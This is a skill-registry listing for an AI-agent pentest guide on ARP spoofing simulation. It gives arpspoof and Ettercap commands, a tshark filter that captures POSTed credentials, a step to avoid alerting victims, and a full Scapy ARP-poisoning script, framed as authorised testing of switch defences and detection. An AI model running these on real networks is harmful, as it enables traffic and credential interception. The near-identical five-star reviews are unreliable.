performing-arp-spoofing-attack-simulation▌
mukul975/Anthropic-Cybersecurity-Skills · updated May 25, 2026
MDX-style export adds YAML metadata + attribution linking explainx.ai and this canonical listing URL.
Simulates ARP spoofing attacks in authorized lab or pentest environments using arpspoof, Ettercap, and Scapy to demonstrate man-in-the-middle risks, test network detection capabilities, and validate ARP inspection countermeasures.
| name | performing-arp-spoofing-attack-simulation |
| description | 'Simulates ARP spoofing attacks in authorized lab or pentest environments using arpspoof, Ettercap, and Scapy to demonstrate man-in-the-middle risks, test network detection capabilities, and validate ARP inspection countermeasures. ' |
| domain | cybersecurity |
| subdomain | network-security |
| tags | - network-security - arp-spoofing - mitm - ettercap - layer2-attack |
| version | '1.0' |
| author | mahipal |
| license | Apache-2.0 |
| nist_csf | - PR.IR-01 - DE.CM-01 - ID.AM-03 - PR.DS-02 |
Performing ARP Spoofing Attack Simulation
When to Use
- Testing whether network switches and infrastructure properly implement Dynamic ARP Inspection (DAI)
- Demonstrating man-in-the-middle attack risks to stakeholders during authorized security assessments
- Validating that network monitoring tools (IDS/IPS, SIEM) detect ARP cache poisoning attempts
- Assessing the effectiveness of port security, 802.1X, and VLAN segmentation controls
- Training SOC analysts to recognize ARP spoofing indicators in network traffic
Do not use on production networks without explicit written authorization and a rollback plan, against networks carrying critical or life-safety traffic, or as a denial-of-service attack vector.
Prerequisites
- Written authorization specifying in-scope network segments for ARP spoofing simulation
- Kali Linux or similar penetration testing distribution with arpspoof, Ettercap, and Scapy installed
- Direct Layer 2 access to the target network segment (same VLAN as target hosts)
- IP forwarding knowledge and ability to enable/disable packet forwarding on the attacker machine
- Wireshark or tcpdump for capturing traffic to verify interception
- Isolated lab environment or approved production test window
Legal Notice: This skill is for authorized security testing and educational purposes only. Unauthorized use against systems you do not own or have written permission to test is illegal and may violate computer fraud laws.
Workflow
Step 1: Enumerate the Target Network Segment
# Discover hosts on the local subnet
nmap -sn -PR 192.168.1.0/24 -oG arp_discovery.txt
# Identify the default gateway
ip route show default
# Output: default via 192.168.1.1 dev eth0
# Identify target hosts and their MAC addresses
arp-scan -l -I eth0
# Verify the current ARP table
arp -a
# Note the gateway IP (192.168.1.1) and target host IP (192.168.1.50)
# Record their legitimate MAC addresses for verification and cleanup
Step 2: Enable IP Forwarding
# Enable IPv4 forwarding to relay packets between victim and gateway
sudo sysctl -w net.ipv4.ip_forward=1
# Verify forwarding is enabled
cat /proc/sys/net/ipv4/ip_forward
# Should output: 1
# Optionally prevent ICMP redirects that could alert the victim
sudo sysctl -w net.ipv4.conf.all.send_redirects=0
sudo sysctl -w net.ipv4.conf.eth0.send_redirects=0
Step 3: Execute ARP Spoofing with arpspoof
# Spoof the gateway to the target (tell target we are the gateway)
sudo arpspoof -i eth0 -t 192.168.1.50 -r 192.168.1.1
# In a separate terminal, spoof the target to the gateway (bidirectional)
sudo arpspoof -i eth0 -t 192.168.1.1 -r 192.168.1.50
# Alternative: Use Ettercap for unified bidirectional spoofing
sudo ettercap -T -q -i eth0 -M arp:remote /192.168.1.50// /192.168.1.1//
Step 4: Capture and Analyze Intercepted Traffic
# Capture all traffic flowing through the attacker machine
sudo tcpdump -i eth0 -w mitm_capture.pcap host 192.168.1.50
# Use tshark to capture HTTP credentials in real-time
sudo tshark -i eth0 -Y "http.request.method == POST" \
-T fields -e ip.src -e http.host -e http.request.uri -e urlencoded-form.value
# Capture DNS queries from the victim
sudo tshark -i eth0 -Y "dns.qry.name and ip.src == 192.168.1.50" \
-T fields -e frame.time -e dns.qry.name
# Use Ettercap with password collection filters
sudo ettercap -T -q -i eth0 -M arp:remote /192.168.1.50// /192.168.1.1// \
-w ettercap_capture.pcap
Step 5: Demonstrate Impact with Scapy (Custom ARP Packets)
#!/usr/bin/env python3
"""ARP spoofing demonstration using Scapy for authorized security testing."""
from scapy.all import Ether, ARP, sendp, srp, conf
import time
import sys
conf.verb = 0
def get_mac(ip, iface="eth0"):
"""Resolve IP to MAC address via ARP request."""
ans, _ = srp(Ether(dst="ff:ff:ff:ff:ff:ff") / ARP(pdst=ip),
timeout=2, iface=iface)
if ans:
return ans[0][1].hwsrc
return None
def spoof(target_ip, spoof_ip, target_mac, iface="eth0"):
"""Send spoofed ARP reply to target."""
packet = ARP(op=2, pdst=target_ip, hwdst=target_mac, psrc=spoof_ip)
sendp(Ether(dst=target_mac) / packet, iface=iface, verbose=False)
def restore(target_ip, gateway_ip, target_mac, gateway_mac, iface="eth0"):
"""Restore legitimate ARP entries."""
packet = ARP(op=2, pdst=target_ip, hwdst=target_mac,
psrc=gateway_ip, hwsrc=gateway_mac)
sendp(Ether(dst=target_mac) / packet, iface=iface, count=5, verbose=False)
if __name__ == "__main__":
target_ip = "192.168.1.50"
gateway_ip = "192.168.1.1"
iface = "eth0"
target_mac = get_mac(target_ip, iface)
gateway_mac = get_mac(gateway_ip, iface)
if not target_mac or not gateway_mac:
print("[!] Could not resolve MAC addresses. Exiting.")
sys.exit(1)
print(f"[*] Target: {target_ip} ({target_mac})")
print(f"[*] Gateway: {gateway_ip} ({gateway_mac})")
print("[*] Starting ARP spoofing... Press Ctrl+C to stop.")
try:
packets_sent = 0
while True:
spoof(target_ip, gateway_ip, target_mac, iface)
spoof(gateway_ip, target_ip, gateway_mac, iface)
packets_sent += 2
print(f"\r[*] Packets sent: {packets_sent}", end="")
time.sleep(1)
except KeyboardInterrupt:
print("\n[*] Restoring ARP tables...")
restore(target_ip, gateway_ip, target_mac, gateway_mac, iface)
restore(gateway_ip, target_ip, gateway_mac, target_mac, iface)
print("[*] ARP tables restored. Exiting.")
Step 6: Verify Detection and Cleanup
# On the target machine, check for ARP cache poisoning indicators
arp -a | grep 192.168.1.1
# If spoofed, the gateway MAC will match the attacker's MAC
# Check IDS/SIEM for ARP spoofing alerts
# Snort rule that should trigger:
# alert arp any any -> any any (msg:"ARP Spoof Detected"; arp.opcode:2;
# threshold:type both, track by_src, count 30, seconds 10; sid:1000010;)
# Stop the attack and restore ARP tables
# Ctrl+C on arpspoof/ettercap sessions
# Disable IP forwarding
sudo sysctl -w net.ipv4.ip_forward=0
# Manually restore ARP entries on affected hosts (if needed)
# On target: arp -d 192.168.1.1 && ping -c 1 192.168.1.1
# On gateway: arp -d 192.168.1.50 && ping -c 1 192.168.1.50
# Verify legitimate MAC addresses are restored
arp -a
Key Concepts
| Term | Definition |
|---|---|
| ARP Cache Poisoning | Technique of sending fraudulent ARP replies to associate the attacker's MAC address with another host's IP address in the target's ARP cache |
| Gratuitous ARP | ARP reply sent without a corresponding request, used by ARP spoofing tools to update a target's ARP cache with false entries |
| Dynamic ARP Inspection (DAI) | Switch-level security feature that validates ARP packets against the DHCP snooping binding database and drops invalid ARP traffic |
| IP Forwarding | Kernel-level setting that allows a host to relay packets between network interfaces, required for transparent man-in-the-middle interception |
| DHCP Snooping | Switch security feature that builds a trusted binding table of IP-to-MAC-to-port mappings, serving as the foundation for DAI validation |
Tools & Systems
- arpspoof (dsniff suite): Simple command-line tool that sends continuous spoofed ARP replies to redirect traffic between two targets
- Ettercap: Comprehensive suite for man-in-the-middle attacks supporting ARP spoofing, DNS spoofing, content filtering, and credential capture
- Scapy: Python packet manipulation library for crafting custom ARP packets with full control over all header fields
- arp-scan: Network scanning tool that sends ARP requests to discover all hosts on a local network segment
- Wireshark: Packet analyzer for verifying ARP spoofing success and capturing intercepted traffic for analysis
Common Scenarios
Scenario: Testing Dynamic ARP Inspection Effectiveness on Enterprise Switches
Context: A network team deployed Cisco DAI on all access-layer switches and needs to validate that ARP spoofing attempts are properly detected and blocked. The test is authorized on a dedicated VLAN (VLAN 100) with three test hosts and one attacker machine connected to the same switch.
Approach:
- Document baseline ARP tables on all hosts and the legitimate MAC-IP bindings in the DHCP snooping database
- Run arpspoof from the attacker machine targeting the default gateway and a test workstation
- Verify that the switch drops spoofed ARP packets by checking DAI statistics:
show ip arp inspection statistics vlan 100 - Confirm the test workstation's ARP cache still shows the legitimate gateway MAC address
- Temporarily disable DAI on the test VLAN and repeat the attack to confirm it succeeds without the control
- Re-enable DAI and document results showing the control is effective
- Verify that IDS alerts were generated for both the blocked and unblocked attack attempts
Pitfalls:
- Running ARP spoofing on a VLAN without DAI and accidentally disrupting legitimate traffic
- Forgetting to enable IP forwarding, causing a denial-of-service instead of transparent interception
- Not restoring ARP tables after testing, leaving hosts with stale cache entries
- Testing on a trunk port instead of an access port, potentially affecting multiple VLANs
Output Format
## ARP Spoofing Simulation Report
**Test ID**: NET-ARP-001
**Date**: 2024-03-15 14:00-15:00 UTC
**Target VLAN**: VLAN 100 (192.168.1.0/24)
**Attacker**: 192.168.1.99 (AA:BB:CC:DD:EE:FF)
**Target**: 192.168.1.50 (00:11:22:33:44:55)
**Gateway**: 192.168.1.1 (00:AA:BB:CC:DD:01)
### Test Results
| Test | DAI Status | ARP Spoof Result | Traffic Intercepted |
|------|------------|-------------------|---------------------|
| Test 1 | Enabled | Blocked (switch dropped 847 packets) | No |
| Test 2 | Disabled | Successful (target ARP cache poisoned) | Yes - 23 HTTP sessions |
| Test 3 | Re-enabled | Blocked | No |
### Detection Coverage
- DAI: PASS - Dropped all spoofed ARP replies when enabled
- IDS (Snort): PASS - Generated alert SID:1000010 within 15 seconds
- SIEM: PASS - Alert correlated and escalated within 2 minutes
### Recommendations
1. Maintain DAI enabled on all access VLANs (currently disabled on VLANs 200, 210)
2. Enable DHCP snooping rate limiting to prevent DHCP starvation attacks
3. Deploy 802.1X port authentication to complement ARP inspection
How to use performing-arp-spoofing-attack-simulation on Cursor
AI-first code editor with Composer
Prerequisites
Before installing skills in Cursor, ensure your development environment meets these requirements:
- ›Cursor installed and configured on your development machine
- ›Node.js version 16.0+ with npm package manager (verify with
node --version) - ›Active project directory or workspace where you want to add performing-arp-spoofing-attack-simulation
Execute installation command
Execute the skills CLI command in your project's root directory to begin installation:
The skills CLI fetches performing-arp-spoofing-attack-simulation from GitHub repository mukul975/Anthropic-Cybersecurity-Skills and configures it for Cursor.
Select Cursor when prompted
The CLI will show a list of available agents. Use arrow keys to navigate and space to select Cursor:
Verify installation
Confirm successful installation by checking the skill directory location:
Reload or restart Cursor to activate performing-arp-spoofing-attack-simulation. Access the skill through slash commands (e.g., /performing-arp-spoofing-attack-simulation) or your agent's skill management interface.
Security & Verification Notice
We perform automated surface-level scans (Gen AI Scanner, Socket, Snyk) during installation. These checks detect common vulnerabilities but do not guarantee complete security. Always review skill source code and verify the publisher's reputation before production use.
Skills execute code in your development environment. Always verify the publisher's identity, review recent commits, and test in isolated environments before production deployment.
List & Monetize Your Skill
Submit your Claude Code skill and start earning
Use Cases▌
Task Automation & Efficiency
Automate repetitive workflows and reduce manual effort
Example
Generate reports, summarize documents, draft communications
Save 3-5 hours per week on routine tasks
Knowledge Enhancement
Learn new skills, understand complex topics, get expert guidance
Example
Explain concepts, provide examples, suggest learning resources
Accelerate learning and skill development by 2x
Quality Improvement
Enhance output quality through reviews, suggestions, and refinements
Example
Review drafts, suggest improvements, catch errors
Improve work quality by 30-40% with less effort
Implementation Guide▌
Prerequisites
- ›Claude Desktop or compatible AI client with skill support
- ›Clear understanding of task or problem to solve
- ›Willingness to iterate and refine outputs
Time Estimate
15-45 minutes depending on use case complexity
Installation Steps
- 1.Install skill using provided installation command
- 2.Test with simple use case relevant to your work
- 3.Evaluate output quality and relevance
- 4.Iterate on prompts to improve results
- 5.Integrate into regular workflow if valuable
Common Pitfalls
- ⚠Expecting perfect results without iteration
- ⚠Not providing enough context in prompts
- ⚠Using skill for tasks outside its intended scope
- ⚠Accepting outputs without review and validation
Best Practices▌
✓ Do
- +Start with clear, specific prompts
- +Provide relevant context and constraints
- +Review and refine all outputs before using
- +Iterate to improve output quality
- +Document successful prompt patterns
✗ Don't
- −Don't use without understanding skill limitations
- −Don't skip validation of outputs
- −Don't share sensitive information in prompts
- −Don't expect skill to replace human judgment
💡 Pro Tips
- ★Be specific about desired format and style
- ★Ask for multiple options to choose from
- ★Request explanations to understand reasoning
- ★Combine AI efficiency with human expertise
When to Use This▌
✓ Use When
Use when skill capabilities match your task, clear ROI on time saved, and you can validate outputs. Best for repetitive tasks, learning, and quality improvement.
✗ Avoid When
Avoid when task requires deep expertise you can't validate, involves sensitive decisions, or when learning process is more valuable than speed of completion.
Learning Path▌
- 1Familiarize yourself with skill capabilities and limitations
- 2Start with low-risk, non-critical tasks
- 3Progress to more complex and valuable use cases
- 4Build expertise through regular use and experimentation
Discussion
Product Hunt–style comments (not star reviews)- No comments yet — start the thread.
Ratings
4.7★★★★★66 reviews- ★★★★★Ganesh Mohane· Dec 28, 2024
performing-arp-spoofing-attack-simulation fits our agent workflows well — practical, well scoped, and easy to wire into existing repos.
- ★★★★★William Haddad· Dec 20, 2024
Keeps context tight: performing-arp-spoofing-attack-simulation is the kind of skill you can hand to a new teammate without a long onboarding doc.
- ★★★★★Naina Khanna· Dec 12, 2024
Useful defaults in performing-arp-spoofing-attack-simulation — fewer surprises than typical one-off scripts, and it plays nicely with `npx skills` flows.
- ★★★★★Henry Khanna· Dec 8, 2024
performing-arp-spoofing-attack-simulation is among the better-maintained entries we tried; worth keeping pinned for repeat workflows.
- ★★★★★Kwame Diallo· Nov 27, 2024
Useful defaults in performing-arp-spoofing-attack-simulation — fewer surprises than typical one-off scripts, and it plays nicely with `npx skills` flows.
- ★★★★★Kwame Tandon· Nov 27, 2024
Registry listing for performing-arp-spoofing-attack-simulation matched our evaluation — installs cleanly and behaves as described in the markdown.
- ★★★★★Sakshi Patil· Nov 19, 2024
Registry listing for performing-arp-spoofing-attack-simulation matched our evaluation — installs cleanly and behaves as described in the markdown.
- ★★★★★Valentina Chen· Nov 19, 2024
Solid pick for teams standardizing on skills: performing-arp-spoofing-attack-simulation is focused, and the summary matches what you get after install.
- ★★★★★Soo Bhatia· Nov 11, 2024
I recommend performing-arp-spoofing-attack-simulation for anyone iterating fast on agent tooling; clear intent and a small, reviewable surface area.
- ★★★★★Kaira Mehta· Nov 3, 2024
performing-arp-spoofing-attack-simulation is among the better-maintained entries we tried; worth keeping pinned for repeat workflows.
showing 1-10 of 66